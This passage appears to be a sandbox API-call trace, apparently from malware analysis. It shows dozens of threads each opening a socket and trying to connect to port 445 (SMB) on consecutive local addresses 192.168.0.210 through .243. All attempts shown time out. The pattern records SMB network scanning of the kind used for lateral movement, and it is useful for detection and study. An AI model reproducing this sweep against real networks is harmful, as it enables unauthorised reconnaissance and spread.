[0165.394] WSAConnect (in: s=0x1f88, name=0x275ecf0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.210"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.638] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3036e410, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.214] CoUninitialize ()
Thread:
id = 224
os_tid = 0xda4
[0165.402] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.403] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1fa8
[0165.404] WSAConnect (in: s=0x1fa8, name=0x275f408*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.211"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.605] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3022dd70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.210] CoUninitialize ()
Thread:
id = 225
os_tid = 0xda8
[0165.411] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.412] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1fc8
[0165.413] WSAConnect (in: s=0x1fc8, name=0x275fb20*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.212"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.560] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x305adf10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.604] CoUninitialize ()
Thread:
id = 226
os_tid = 0xdac
[0165.421] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.421] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1fe8
[0165.422] WSAConnect (in: s=0x1fe8, name=0x2760238*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.213"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.524] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3071e1f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.202] CoUninitialize ()
Thread:
id = 227
os_tid = 0xdb0
[0165.428] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.429] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x200c
[0165.429] WSAConnect (in: s=0x200c, name=0x2760950*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.214"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.482] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x309addf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.523] CoUninitialize ()
Thread:
id = 228
os_tid = 0xdb4
[0165.436] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.439] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x202c
[0165.440] WSAConnect (in: s=0x202c, name=0x2761068*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.215"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.446] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x30b3df10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.192] CoUninitialize ()
Thread:
id = 229
os_tid = 0xdb8
[0165.446] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.447] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x204c
[0165.448] WSAConnect (in: s=0x204c, name=0x2761780*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.216"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.404] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x30c6db30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.445] CoUninitialize ()
Thread:
id = 230
os_tid = 0xdbc
[0165.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.460] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x206c
[0165.462] WSAConnect (in: s=0x206c, name=0x2761e98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.217"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.371] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x30d9de70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.114] CoUninitialize ()
Thread:
id = 231
os_tid = 0xdc0
[0165.477] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.478] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x208c
[0165.481] WSAConnect (in: s=0x208c, name=0x27625b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.218"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.324] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x308ae070, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.131] CoUninitialize ()
Thread:
id = 232
os_tid = 0xdc4
[0165.487] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.488] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x20ac
[0165.489] WSAConnect (in: s=0x20ac, name=0x2762cc8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.219"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.280] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x304ade90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.323] CoUninitialize ()
Thread:
id = 233
os_tid = 0xdc8
[0165.499] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.500] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x20cc
[0165.501] WSAConnect (in: s=0x20cc, name=0x27633e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.246] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x30e9dfd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.145] CoUninitialize ()
Thread:
id = 234
os_tid = 0xdcc
[0165.509] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.510] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x20ec
[0165.511] WSAConnect (in: s=0x20ec, name=0x2763af8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.221"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.201] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3107df70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.245] CoUninitialize ()
Thread:
id = 235
os_tid = 0xdd0
[0165.519] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.520] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x210c
[0165.521] WSAConnect (in: s=0x210c, name=0x2764230*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.222"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.168] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3133db30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.154] CoUninitialize ()
Thread:
id = 236
os_tid = 0xdd4
[0165.529] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.530] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x212c
[0165.530] WSAConnect (in: s=0x212c, name=0x2764948*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.223"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.123] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x314cdb90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.166] CoUninitialize ()
Thread:
id = 237
os_tid = 0xdd8
[0165.546] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.549] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x214c
[0165.549] WSAConnect (in: s=0x214c, name=0x2765060*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.224"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.061] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3123dc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.165] CoUninitialize ()
Thread:
id = 238
os_tid = 0xddc
[0165.558] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.559] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x216c
[0165.559] WSAConnect (in: s=0x216c, name=0x2765778*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.225"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.028] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x315edb90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.180] CoUninitialize ()
Thread:
id = 239
os_tid = 0xde0
[0165.566] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.567] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x218c
[0165.567] WSAConnect (in: s=0x218c, name=0x2765e90*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.226"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.983] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3176ead0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.027] CoUninitialize ()
Thread:
id = 240
os_tid = 0xde4
[0165.575] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.575] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x21ac
[0165.576] WSAConnect (in: s=0x21ac, name=0x27665a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.227"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.936] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3196e830, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.076] CoUninitialize ()
Thread:
id = 241
os_tid = 0xde8
[0165.583] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.583] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x21cc
[0165.584] WSAConnect (in: s=0x21cc, name=0x2766cc0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.228"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.903] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x31bde7b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.071] CoUninitialize ()
Thread:
id = 242
os_tid = 0xdec
[0165.601] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.609] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x21ec
[0165.610] WSAConnect (in: s=0x21ec, name=0x27673d8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.858] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x31cee910, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0191.901] CoUninitialize ()
Thread:
id = 243
os_tid = 0xdf0
[0165.617] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.618] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x220c
[0165.618] WSAConnect (in: s=0x220c, name=0x2767af0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.230"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.812] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x31e7e630, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.055] CoUninitialize ()
Thread:
id = 244
os_tid = 0xdf4
[0165.626] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.627] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x222c
[0165.627] WSAConnect (in: s=0x222c, name=0x2768208*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.231"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.764] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x31a9e6f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.050] CoUninitialize ()
Thread:
id = 245
os_tid = 0xdf8
[0165.634] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.635] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x224c
[0165.635] WSAConnect (in: s=0x224c, name=0x2768920*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.719] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3202e610, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.043] CoUninitialize ()
Thread:
id = 246
os_tid = 0xdfc
[0165.642] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.642] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x226c
[0165.643] WSAConnect (in: s=0x226c, name=0x2769038*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.233"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.670] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x322be8b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.038] CoUninitialize ()
Thread:
id = 247
os_tid = 0xe00
[0165.648] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.649] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x228c
[0165.650] WSAConnect (in: s=0x228c, name=0x2769750*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.234"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.624] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x323ee4f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.032] CoUninitialize ()
Thread:
id = 248
os_tid = 0xe04
[0165.666] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.667] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x22ac
[0165.667] WSAConnect (in: s=0x22ac, name=0x2769e68*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.235"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.577] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3217e970, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.027] CoUninitialize ()
Thread:
id = 249
os_tid = 0xe08
[0165.675] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.676] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x22cc
[0165.679] WSAConnect (in: s=0x22cc, name=0x276a580*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.236"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.532] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3261e4d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.017] CoUninitialize ()
Thread:
id = 250
os_tid = 0xe0c
[0165.694] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.695] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x22ec
[0165.698] WSAConnect (in: s=0x22ec, name=0x276ac98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.499] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3274e2b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.013] CoUninitialize ()
Thread:
id = 251
os_tid = 0xe10
[0165.703] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.704] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x230c
[0165.704] WSAConnect (in: s=0x230c, name=0x276b3b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.238"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.453] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3285e4b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.997] CoUninitialize ()
Thread:
id = 252
os_tid = 0xe14
[0165.710] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.711] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x232c
[0165.711] WSAConnect (in: s=0x232c, name=0x276bac8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.239"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.409] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x329ce5d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.992] CoUninitialize ()
Thread:
id = 253
os_tid = 0xe18
[0165.718] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.721] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x234c
[0165.721] WSAConnect (in: s=0x234c, name=0x276c1e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.240"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.359] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x32ade0b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.986] CoUninitialize ()
Thread:
id = 254
os_tid = 0xe1c
[0165.730] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.731] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x236c
[0165.732] WSAConnect (in: s=0x236c, name=0x276c8f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.296] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x32d4e190, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.981] CoUninitialize ()
Thread:
id = 255
os_tid = 0xe20
[0165.741] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.742] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x238c
[0165.742] WSAConnect (in: s=0x238c, name=0x276d010*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.242"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.250] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3186e530, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0196.971] CoUninitialize ()
Thread:
id = 256
os_tid = 0xe24
[0165.749] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.750] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x23ac
[0165.753] WSAConnect (in: s=0x23ac, name=0x276d728*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.243"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0191.203] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x32ece010, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0191.247] CoUninitialize ()
Thread:
id = 257
os_tid = 0xe28
[0165.760] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.763] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x23cc
